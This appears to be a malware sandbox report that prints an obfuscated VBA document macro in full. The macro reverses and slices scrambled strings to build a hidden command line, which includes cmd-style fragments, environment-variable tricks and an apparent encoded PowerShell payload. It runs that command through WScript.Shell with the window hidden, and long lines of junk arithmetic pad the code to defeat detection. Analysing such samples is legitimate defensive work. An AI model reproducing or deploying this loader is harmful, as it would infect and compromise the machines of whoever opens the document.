wMalBjjGoi.hPcJwFwNaJFPoiVjtrwcljGCC
vWhwwhFww.RFbLpqKPETWzlEklHjTXBKZO
svwqMEjhw = fshu3bbnabn3("KMMIY2Bmzj_8dUGA4AgZAUGA4AwMAIGAjBgYAUGA4AgNAEGA0AQOAUGA0AQMAIGA5AgZAgDA2AAMAUGAxAgNAIDA4AgYAEGA3AgMAQDAlBAOAgDA2AwYAUDA0AQZAUDAyAAhqipT]C<jzM", 12, 118)
vWhwwhFww.RFbLpqKPETWzlEklHjTXBKZO
ZMKsMqTPSw.uwraCBGLnNzHvwVLJWmwsvXkUkq
wETvZEaB = fshu3bbnabn3("@Cv#z94KMM2)i(f7W 3RVEAgZAIGA0AwYAYDA1AQYAUDA0AQNAUDA4AQOAADA3AQNl44LP%M", 8, 43)
ZMKsMqTPSw.uwraCBGLnNzHvwVLJWmwsvXkUkq
opGTGGzHzE.hXjfwaPoJtrwuJt
aTSdp = fshu3bbnabn3("]qPiv7Nv[QDAhBAZAYDAmBQYAQDAlBAZAIDAiBQYAEGA2AwMAUGAhBYE]ti<o#D2_k<THnZMztpT3%q[%jv", 30, 45)
opGTGGzHzE.hXjfwaPoJtrwuJt
RbrrrnQRCiG.EqjiPwzmAsRsKBdRcJwLGnUvDYUl
YLuGWH = fshu3bbnabn3("qqV<%EmznvVNjjWHHq[AEGAyEnc", 4, 5)
RbrrrnQRCiG.EqjiPwzmAsRsKBdRcJwLGnUvDYUl
JpHqbJKzLqkcWC = TflzNJwAbd + QnsmpLpKCjDBtR + XzPdLrUdfGwi + ChrW(34) + ZzhrJzotjuqQ + vMBCW + TqjBfNhEE + iYwKE + THNfcSXlT + HYJoYPsMu + GjVuqSpW + NODIKQ + MpajG + inoOVh + PwioR + NLhwNPbcnq + qvIcAaiSUEz + wUVqiWzVj + svwqMEjhw + SwkWvnN + PjYwvSfIUi + imjctZOOj + tlwVd + UhDSYvzKsi + CbFjFoscJjq + qEPncROYjq + XZFzz + zlBzErpJM + bnLdzjPYk + jtuFldqhIDD + huIEFjGUU + EbULQdQ + wIDcGM + oUXwEiJib + HirOXiwfHCZ + jOIbKZnuGw + jfwAz + hqkTwQhshnw + wETvZEaB + YLuGWH + rsGVzFK + VMGIz + QjGQR + XwpEAj + QQZVj + VjmYiR + aTSdp + UItGp + QWTbTYcX + TCuDGo + nLWBq + UAVVRdHFJcc + MHBOWnRH + dIkPpWzrJVa + WOzNqLjMqci + ZvLJIASHkS + DZfYHOcwOqz + GsmriBijnJK + kDSKjwVVAF + jFkDjtSmzz + oqtmnK + waCclq + WJivREq
WoaqcLojF = GUqoH * ZvJMV / VEqccw - Round(5320501 * CSng(8760693 * CInt(rzuS)) + bsbpE - Round(dAsNB)) - 544 / sOTol + ukSWz / Rnd(jqILQP) * (3894333 / CDbl(9161343) + (kwhTT / CByte(1564549 / CDbl(7718473) - 1563599 / 4021301)))
End Function

Attribute VB_Name = "umQEDXKj"
Sub fqNwGvZ(uXMjwDOrQwMAjh As String)
On Error Resume Next
ksRtRnvIT = LfNS * FDGjN / OSwGq - Round(4435951 * CSng(5663493 * CInt(SGXs)) + kWDPEQ - Round(iIua)) - 544 / zbHK + zozJ / Rnd(ZTnaP) * (3393399 / CDbl(1380420) + (znnV / CByte(6563885 / CDbl(1683948) - 293738 / 7721539)))
CSzqFYXur = WqSJiv * Ozkbd / wbIz - Round(7417320 * CSng(4663370 * CInt(twJMu)) + zSPBv - Round(jUvQin)) - 544 / snTL + MYRD / Rnd(zblW) * (2645394 / CDbl(243592) + (jFOMz / CByte(2842087 / CDbl(9807175) - 9236078 / 7776958)))
itjAKZJhf = amsAVF * DRZKWV / XkcZs - Round(9061313 * CSng(4800790 * CInt(Pcdil)) + FYRD - Round(XakoFs)) - 544 / DLhW + MYMca / Rnd(kokQFX) * (2937516 / CDbl(4391079) + (TqwtHG / CByte(6150494 / CDbl(9599045) - 8597436 / 7517982)))
vXjlrNntw = GYai * hPFGV / ZiBn - Round(2379776 * CSng(2523983 * CInt(OXjaTp)) + ZDDsD - Round(iQFkv)) - 544 / TSar + rXZWo / Rnd(zfAAf) * (5343589 / CDbl(7069401) + (FkABi / CByte(2314594 / CDbl(2509947) - 671031 / 499415)))
jJcRsvtUn = GjwPI * YFNCSw / UDqjTR - Round(9212826 * CSng(6048300 * CInt(nVqN)) + NFjG - Round(rwizI)) - 544 / rQFGz + kkUH / Rnd(CPaD) * (8476755 / CDbl(46003) + (vbZvYL / CByte(9937851 / CDbl(5707918) - 9282767 / 7466124)))
CreateObject("WScript.Shell").Run sqGhLb + uXMjwDOrQwMAjh + qYNmk + sEADUf, vbHide
czvlBhvws = HVEzcc * GVDz / BbfI - Round(8122381 * CSng(3557463 * CInt(UKwI)) + KIwF - Round(zQiI)) - 544 / RrindQ + tiRjYz / Rnd(Fsrct) * (4550093 / CDbl(6870764) + (MnmU / CByte(6065549 / CDbl(2299430) - 207043 / 4234020)))
mUvFKoaCo = hQOrkl * cAMH / kkMGiu - Round(140521 * CSng(1859062 * CInt(asLiLd)) + KRSooH - Round(SwVDAJ)) - 544 / LoOz + KtDJfC / Rnd(BGYCM) * (4790515 / CDbl(1591277) + (SjtSz / CByte(5678030 / CDbl(8925275) - 8714384 / 2040404)))
JrzAhPEzf = SzHHn * JGjutI / splcu - Round(9189234 * CSng(68436 * CInt(QAsA)) + CiTrTE - Round(zpVLb)) - 544 / fpXL + QAMHKw / Rnd(JBiUCz) * (2773493 / CDbl(1364241) + (kimrao / CByte(5249296 / CDbl(6377391) - 576302 / 3943516)))
End Sub
Function XzPdLrUdfGwi()
On Error Resume Next
clrAPnJHWVw.wGNtHJOuMMSKwjJPAotZZwfjVsWau
ZnMlDjPzn = fshu3bbnabn3("qV51(Fl#Nl]]ltvazr% tn[MsTBZ0I7o", 12, 6)
clrAPnJHWVw.wGNtHJOuMMSKwjJPAotZZwfjVsWau
mjhTUwlMjO.UDuaMSJuaBbwpUlzRKXHZdMvdWzh
GnQrfAjPuY = fshu3bbnabn3("bUk]mli=%EiFw4u qS]Sz#N]%2r7Pin(q<6jb(CoS[", 34, 5)
mjhTUwlMjO.UDuaMSJuaBbwpUlzRKXHZdMvdWzh
ZccvnfmXr.QQurwsLBQUqDuqNEAOTUSCVjmk
jWGcQVM = fshu3bbnabn3("jv$2bHQz=%iMTwkLq1GO", 5, 10)
ZccvnfmXr.QQurwsLBQUqDuqNEAOTUSCVjmk
zAjJkfzuMLd.aSzREfXjBWRdctnfQoCDrMVFAztw
AQjOHNZNXMV = fshu3bbnabn3("Pz3jT7H!)mWWpT%[TCF]%k&&!%JYLhEYAqVFbpV3kl8PSfM5_NqD", 15, 16)
zAjJkfzuMLd.aSzREfXjBWRdctnfQoCDrMVFAztw
pbWOWwAQt.MLzHSkFbivEciMcv
dskunhtFii = fshu3bbnabn3("lWX9]VwTtUkdPhHk%wMd_lbvcC[NLpP_nTHlPqW8mNjbH(@G", 34, 10)
pbWOWwAQt.MLzHSkFbivEciMcv
rRaGWSJtLK.WsfKUfcmVZzdUjSFB
waodXJPq = fshu3bbnabn3("Nlw)TNpjDClElMT$HNn0vRoE(G][wGN1", 23, 6)
rRaGWSJtLK.WsfKUfcmVZzdUjSFB
sQjDowFoZs.jIwmZXwPznfjvU
fajVDOQXQ = fshu3bbnabn3("(PhC tes&&zS_HMLTcPjHd", 12, 7)
sQjDowFoZs.jIwmZXwPznfjvU
DiRZwOWCRsZr.PbiJEDJdwcVSnlEGDFQLYuvodK
jpKPF = fshu3bbnabn3("bfQGNj@KoQwDMQBj=%dWKfDd@V(@7RkYm[7DJbw]", 17, 15)
DiRZwOWCRsZr.PbiJEDJdwcVSnlEGDFQLYuvodK
CzhiAQCGiE.odSwEwzKGMvcBkMWG
oYYXzhv = fshu3bbnabn3("%wNprcCNODwbt", 3, 3)
CzhiAQCGiE.odSwEwzKGMvcBkMWG
bRfLKErh.kWZiHhaCikTBGvaChq
hHIfF = fshu3bbnabn3("j6]YSWr9znZPEAs[W%Rtl tes&&LiVjcwwDRi7K<PKVtf3(N", 15, 13)
bRfLKErh.kWZiHhaCikTBGvaChq
SjprupkPpw.JNTGlwOdwffRBN
dbDGEw = fshu3bbnabn3("L<o=%CWckqLzKJbqHpJ%l8cDHj2(Juo4U", 14, 18)
SjprupkPpw.JNTGlwOdwffRBN
SzkAhJiQBfL.EjIjUSIvSzNoauwCiGmiWTKTzzQl
JdVptvMvrPu = fshu3bbnabn3("t$dl<p#IPi2j]#HtcjSXFUG9S6ZjTVhi7jbpV", 18, 1)
SzkAhJiQBfL.EjIjUSIvSzNoauwCiGmiWTKTzzQl
mIiLAcZwNT.TfEGqiVIqimMKajYhEjjEq
ufKbOwK = fshu3bbnabn3("AHqBtAoEdcE% tesSjoUR", 6, 11)
mIiLAcZwNT.TfEGqiVIqimMKajYhEjjEq
rMdlNTdcj.VfQzqkzVUmUjO
IltWjDtYQ = fshu3bbnabn3("Q(iNP3W(QX2NvS[A", 5, 1)
rMdlNTdcj.VfQzqkzVUmUjO
HlWuswHTUnj.GIDjJlvnYCYG
BpWKKwi = fshu3bbnabn3("QbvG9I0Q8z1m2iFHKX9<pOfWljH4", 6, 3)
HlWuswHTUnj.GIDjJlvnYCYG
oWCoXHKHO.PBMoGBjszBZa
FZlhpiB = fshu3bbnabn3("PXj@TbH_HANZ2zr<7]9AYof9QTbhXMMiVLIm=%miqOLkmPUbikvtT4<3z]", 10, 19)
oWCoXHKHO.PBMoGBjszBZa
wHXHOTrSYs.hKCnPLqtUHWzj
LhYmbf = fshu3bbnabn3("3(jll=%PW0qfb2qb5jjiPfu$At[F(oI7Mm", 27, 5)
wHXHOTrSYs.hKCnPLqtUHWzj
ljocEjWmic.NDJMIXmAjKTjjcdBwS
ZFzMCGUfCI = fshu3bbnabn3("uTlZ]bbkqLzKJbtvMw440[tpj$h", 14, 7)
ljocEjWmic.NDJMIXmAjKTjjcdBwS
skaMzsqwzCY.vbUmmIPGKdnHSzzKsKVMzALch
ZAbbEZk = fshu3bbnabn3("%%wb2dHF#NZA$HO%!=%OzVBK4dvqDtNr ]X%j6Z1oi", 19, 10)
skaMzsqwzCY.vbUmmIPGKdnHSzzKsKVMzALch
XhYAFrVnbn.WjMkVmLAwRZJniDdGQrdzBRRlDTR
UAVIqlN = fshu3bbnabn3("[jZf2KPt%!!%hjAMwQrbf5PiPo6]", 10, 12)
XhYAFrVnbn.WjMkVmLAwRZJniDdGQrdzBRRlDTR
aWjOEzzQE.wvcoHFLCOljwXZEKPb
NiwBcWpP = fshu3bbnabn3("$PMOzCQBYHcVAQmVD8Cn2", 11, 9)
aWjOEzzQE.wvcoHFLCOljwXZEKPb
QufYiLccv.bYiEwrqoHnzIzfwHSFtTzwkuXI
LuTTtHbRhk = fshu3bbnabn3("Y(qS]YCpfinH3WzTVm", 8, 2)
QufYiLccv.bYiEwrqoHnzIzfwHSFtTzwkuXI
WkLDpwriiwk.NXfaMSjilRMpXMCpwCWMwpAzkRcHU
hSkDzpcijbR = fshu3bbnabn3("SB.]z[(uZ@Fzr2MYr% teu9L$DQN2IvN", 12, 6)
WkLDpwriiwk.NXfaMSjilRMpXMCpwCWMwpAzkRcHU
OZfuYIrmZA.LHsXIOGdMCrpm
KpUdd = fshu3bbnabn3("zPk@f#3#$E8tuOAaTtwMi% tesoJ", 3, 14)
OZfuYIrmZA.LHsXIOGdMCrpm
abkaOlbdGjf.mdLhfKlLwAVXVnGRZGCav
RdXsFYiM = fshu3bbnabn3("Q4Ft(K!!%OzVBKfUzzvO%!&&WobiP1quMHqkDmEi9[jBTLFk5U", 27, 18)
abkaOlbdGjf.mdLhfKlLwAVXVnGRZGCav
ZGviwMXkNN.zfGaTrlOKVHI
OcThZJbdjO = fshu3bbnabn3("NizEHl7WjFAho]J(MPw$]_1W3(MR% tes&&s=%hjAMwQrASDEmqCH", 9, 18)
ZGviwMXkNN.zfGaTrlOKVHI
RnkJQTnnSn.PUkbCuOupjuAYiKZRNbXKBiIrXBS
lXnTCvLP = fshu3bbnabn3("ow6H@V$%OrQSs&&re=%ZvGwNqf%rP[@[hXnlkTPjJHvYPMt#J83[2p", 28, 15)
RnkJQTnnSn.PUkbCuOupjuAYiKZRNbXKBiIrXBS
DlWlNNQSJn.YltnbXHjiYVIbEpc
TBjCSO = fshu3bbnabn3("%iijAD%6#NFqJA% tes&&w5kf", 4, 12)
DlWlNNQSJn.YltnbXHjiYVIbEpc
bjLPVsklt.XCqDspzliDnfXAcCIoqcAAoElAtA
YvztXzK = fshu3bbnabn3("(hlJz$rScTTYDqD(ZhOH2TiiV1bj]KuW$n !MY", 3, 2)
bjLPVsklt.XCqDspzliDnfXAcCIoqcAAoElAtA
lJzmvrLEv.qQcfnaCQdJGfS
XUErzbrjT = fshu3bbnabn3("FvujhqdVqQu5$YDInToCIfXjzUTMYiJ", 24, 4)
lJzmvrLEv.qQcfnaCQdJGfS
MJrBYbZCu.SlGdGQpsbYOZDPFJMWYOlO
CcaGnitdRo = fshu3bbnabn3("fvM_MHYjl)Ci0vK2Pvn(vbcRasE(kYbNE", 8, 6)
MJrBYbZCu.SlGdGQpsbYOZDPFJMWYOlO
GjwSKFcPOu.jFFKSODSURktmGLIcCNid
jfUoJsE = fshu3bbnabn3("cStMd$uu% tes&&!%CWcNY[rYi", 7, 13)
GjwSKFcPOu.jFFKSODSURktmGLIcCNid
JnLMKzSdkqX.hNukaMzatKtSM
tAOjidDM = fshu3bbnabn3("N]bPM7KK00)5X6YUWSjMXu%!!%ZvGwlKC", 4, 12)
JnLMKzSdkqX.hNukaMzatKtSM
lGLLSKilHC.aoPwjpTcjWhpEvbmRITmKZwQVRiRG
SDVtHPMXFWD = fshu3bbnabn3("cjVtYQtjYl tes&&p=%JYLhEYHM)YH%mw", 9, 15)
lGLLSKilHC.aoPwjpTcjWhpEvbmRITmKZwQVRiRG
JDjQQTiGM.lwABXoHnzMUUsIYPPiFEFBBJRklN
dkuDEPFYY = fshu3bbnabn3("VWAqVFbpO%uOt]5PYSpX%(uf1SQkHvC7nTzT%oT", 30, 8)
JDjQQTiGM.lwABXoHnzMUUsIYPPiFEFBBJRklN
hjMXCORVLi.SivCtfSkunfarkL
TwGOoiHP = fshu3bbnabn3("wIm7YMHhHt% tes&&TwjqkVTI4Of4<Mp", 13, 13)
hjMXCORVLi.SivCtfSkunfarkL
oPCkEDnFMuMi.ahsQhvhdWkQVL
KPifiD = fshu3bbnabn3("lzO(<Qq2UfODwjM2EW@Qk9d", 9, 5)
oPCkEDnFMuMi.ahsQhvhdWkQVL
nPHiIwtS.lNijlProdnissnjCDzvZFFAZc
XEPdcArEd = fshu3bbnabn3("QYH[%lqf%!!%aisiZOwfYr%5f_L9b#wu.ddvz", 15, 17)
nPHiIwtS.lNijlProdnissnjCDzvZFFAZc
PqDBrBmaE.hMzpwjfOWcvLfHQDPpjcZ
mboMtTEU = fshu3bbnabn3("Aq%f#n%fUzzvO% tes&&zfNUvB(6j[Xf", 11, 15)
PqDBrBmaE.hMzpwjfOWcvLfHQDPpjcZ
wVPbwOPuta.obDbtWYJSkOMRSfSBPAbkRXibswi
wGlBmUwz = fshu3bbnabn3("(USH$jlvdqP]pVHwYHUqHpJ%!=%aisiZOwf ", 2, 16)
wVPbwOPuta.obDbtWYJSkOMRSfSBPAbkRXibswi
FncmutFurn.ZaHWhDdDEdhloTAAFKQf
kKjjqErw = fshu3bbnabn3("$$ZMLSHLj%PTNpjDCazr%!!%n@5NB8Qfr1F@H]0VHjNd1R", 23, 15)
FncmutFurn.ZaHWhDdDEdhloTAAFKQf
EcHPEoqELDz.octfkYJcEnpLwKhuVj
rwBkf = fshu3bbnabn3("fucijes&&eh=%VwTtUkdPVunS(bM(pv", 11, 16)
EcHPEoqELDz.octfkYJcEnpLwKhuVj
XzPdLrUdfGwi = ufKbOwK + NiwBcWpP + GnQrfAjPuY + XUErzbrjT + fajVDOQXQ + dkuDEPFYY + SDVtHPMXFWD + dbDGEw + TBjCSO + FZlhpiB + mboMtTEU + ZAbbEZk + AQjOHNZNXMV + KpUdd + jpKPF + hHIfF + lXnTCvLP + hSkDzpcijbR + wGlBmUwz + ZFzMCGUfCI + jfUoJsE + JdVptvMvrPu + KPifiD + OcThZJbdjO + LuTTtHbRhk + CcaGnitdRo + jWGcQVM + BpWKKwi + TwGOoiHP + rwBkf + ZnMlDjPzn + waodXJPq + LhYmbf + RdXsFYiM + XEPdcArEd + IltWjDtYQ + tAOjidDM + oYYXzhv + UAVIqlN + dskunhtFii + kKjjqErw + YvztXzK
wVwszzGam = htaf * iNzH / iupKz - Round(7794453 * CSng(3393583 * CInt(Fdtw)) + fHbUv - Round(tZKlz)) - 544 / LNKKUw + nwzBjn / Rnd(IiCUJQ) * (7240006 / CDbl(2025405) + (XYJSSN / CByte(9737478 / CDbl(4658141) - 1766384 / 8158827)))
End Function

Attribute VB_Name = "BoPKiFBbzbu"
Function TflzNJwAbd()
On Error Resume Next
EWjWuYjXsdp.jXhikzNQvWtFAdBtGS
YNOOpJAQTwY = fshu3bbnabn3("NV7WmqT      c/         V/ fjczb4Pij)TfS((Dz8cS", 21, 20)
EWjWuYjXsdp.jXhikzNQvWtFAdBtGS
icETtOLhoJTC.wiSGDjrGjBtkBFBvWPSMZGwT
qzYGzDrnw = fshu3bbnabn3("#HvYMAmEIN#CIo^C%       %cEpwd8jTbDZZV%E", 13, 15)
icETtOLhoJTC.wiSGDjrGjBtkBFBvWPSMZGwT
dqiZVhcniai.kFzDzbkuYIpMDvmj
EFGFKBb = fshu3bbnabn3("NcJzA1d<H.AXc     0__Wr", 6, 5)
dqiZVhcniai.kFzDzbkuYIpMDvmj
rJXQEFQmW.qUwanjOVzZHDtBqmVuvpwIDmTFqMh
BGRRQormG = fshu3bbnabn3("Ez CvVzQLTRZihlEhViXt2XVk$jMNF(", 13, 17)
rJXQEFQmW.qUwanjOVzZHDtBqmVuvpwIDmTFqMh
qoBuFVhvEm.uAJEvHGTIBCOupfow
iijIM = fshu3bbnabn3("tF           %cEp^S^m9pqjW$cHi%2jV4]j<q zz8WuwrckqT", 31, 19)
qoBuFVhvEm.uAJEvHGTIBCOupfow
uBBpwuGmH.tCabnOLAiruC
piCcSnG = fshu3bbnabn3("_!9tZd2<K^S^mo^C%     & OicHES[", 6, 17)
uBBpwuGmH.tCabnOLAiruC
AXzwdzdjdEk.YjAFiLASDiKoiYrIMjnXavIZp
GdqdQzpZ = fshu3bbnabn3("DKjU HFKDRCNh dmcYd#fL$9m]MkbNVRmwHZ", 20, 14)
AXzwdzdjdEk.YjAFiLASDiKoiYrIMjnXavIZp
TuEoQXRJLGk.LMmEtSzduJCwacZXRIZ
lSzIVRzPunu = fshu3bbnabn3("s9%or4WWdOLqosMpir#<", 4, 8)
TuEoQXRJLGk.LMmEtSzduJCwacZXRIZ
TflzNJwAbd = GdqdQzpZ + BGRRQormG + lSzIVRzPunu + piCcSnG + qzYGzDrnw + iijIM + YNOOpJAQTwY + EFGFKBb
NpikScrtu = sYQmwY * GDMoUO / lCpqv - Round(9214301 * CSng(8970151 * CInt(ChXjhc)) + cBZFi - Round(lmMi)) - 544 / bQNw + sbEzQn / Rnd(zwFA) * (4076105 / CDbl(6768728) + (QqUm / CByte(5356788 / CDbl(1963610) - 2863884 / 2956536)))
End Function

Attribute VB_Name = "XFJDCcnXwU"
Function fshu3bbnabn3(ByVal OvzzUfKBVzO As String, rzaCDjpNTP, tHhPdkUtTwV)
On Error Resume Next
GvKlTXbZf = pWlV * UlzvmH / pKPlQ - Round(7246361 * CSng(4775835 * CInt(Pwdj)) + UAzli - Round(awqiAU)) - 544 / RiqpcK + jFzV / Rnd(GqAao) * (8722736 / CDbl(8656557) + (oRTn / CByte(2317387 / CDbl(3385406) - 7455227 / 6286139)))
bzjORcUqN = UTTzO * bCXJ / VBkHP - Round(9984109 * CSng(9954557 * CInt(CdKX)) + IFTHQ - Round(VJNOZ)) - 544 / lqCTL + udGF / Rnd(vGBcUc) * (2026389 / CDbl(9237960) + (wmpJ / CByte(6349072 / CDbl(3961204) - 7329709 / 8687330)))
nQImLiiJz = qUQuaC * XAPB / hCSP - Round(5659490 * CSng(9797117 * CInt(tmrX)) + pqwL - Round(YXTXhT)) - 544 / tCMnB + UXrm / Rnd(FUwEfI) * (730490 / CDbl(1545405) + (zPEjFw / CByte(7657931 / CDbl(5363831) - 8344852 / 6595463)))
WtqtJRrUHii = AjrWbmNrdX + StrReverse(OvzzUfKBVzO) + JCHrrnUsKTZTdd
u3ugkj = chFVsfJIiWcads + Mid(WtqtJRrUHii, rzaCDjpNTP, tHhPdkUtTwV) + MiczFBcOEAHwYK
aPNsiKfmH = UAtYU * NqzO / urfY - Round(9099857 * CSng(9985352 * CInt(AVkjl)) + HHOhzi - Round(ZWwd)) - 544 / IDtq + RzJCfX / Rnd(UiKMl) * (7414716 / CDbl(9039670) + (OvQNzf / CByte(8363457 / CDbl(3301004) - 9676471 / 6480432)))
XuCSnwZJi = hbwcj * NQYDo / BqrMmf - Round(8278838 * CSng(1433452 * CInt(hLUIc)) + CvNmb - Round(bFnw)) - 544 / dSRasu + nsMaaJ / Rnd(SatzQb) * (3828894 / CDbl(1347155) + (LVKR / CByte(2391065 / CDbl(6174089) - 5014383 / 6961870)))
EOzBYpwpQ = UjTbV * sIdi / WXUW - Round(3487124 * CSng(1248086 * CInt(hdhH)) + bWMLs - Round(luKzAz)) - 544 / jkzGY + Crih / Rnd(ciGjsH) * (7645564 / CDbl(8885472) + (RsEI / CByte(8544070 / CDbl(39573) - 2729970 / 8520142)))
nvXXVzlWG = EdEbz * VjNoCC / LFlF - Round(7802801 * CSng(6158736 * CInt(OYpKEi)) + TGfU - Round(mfjQ)) - 544 / quPn + mZql / Rnd(LRktwq) * (2924818 / CDbl(2605239) + (ouWPi / CByte(449615 / CDbl(5416883) - 6578537 / 3820044)))
fshu3bbnabn3 = PXcpcPuQDElP + u3ugkj + SpzCWlXW
XSEcOTikk = EFAVV * cIdCZL / tYaE - Round(5036866 * CSng(6009007 * CInt(FwwS)) + FXMNwP - Round(SXhJT)) - 544 / TQZOHV + LJKEoO / Rnd(FkbH) * (1871733 / CDbl(6537112) + (QLPuh / CByte(7476253 / CDbl(8585122) - 8575705 / 7225328)))
MOGHGOarp = VjvMI * hLbiv / AlTDF - Round(2034899 * CSng(3903492 * CInt(iETXw)) + hHwqKk - Round(iMwUw)) - 544 / UzbR + pmOV / Rnd(CJPXPs) * (3116104 / CDbl(2562054) + (OSsaN / CByte(7124164 / CDbl(4628964) - 2286054 / 1438093)))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.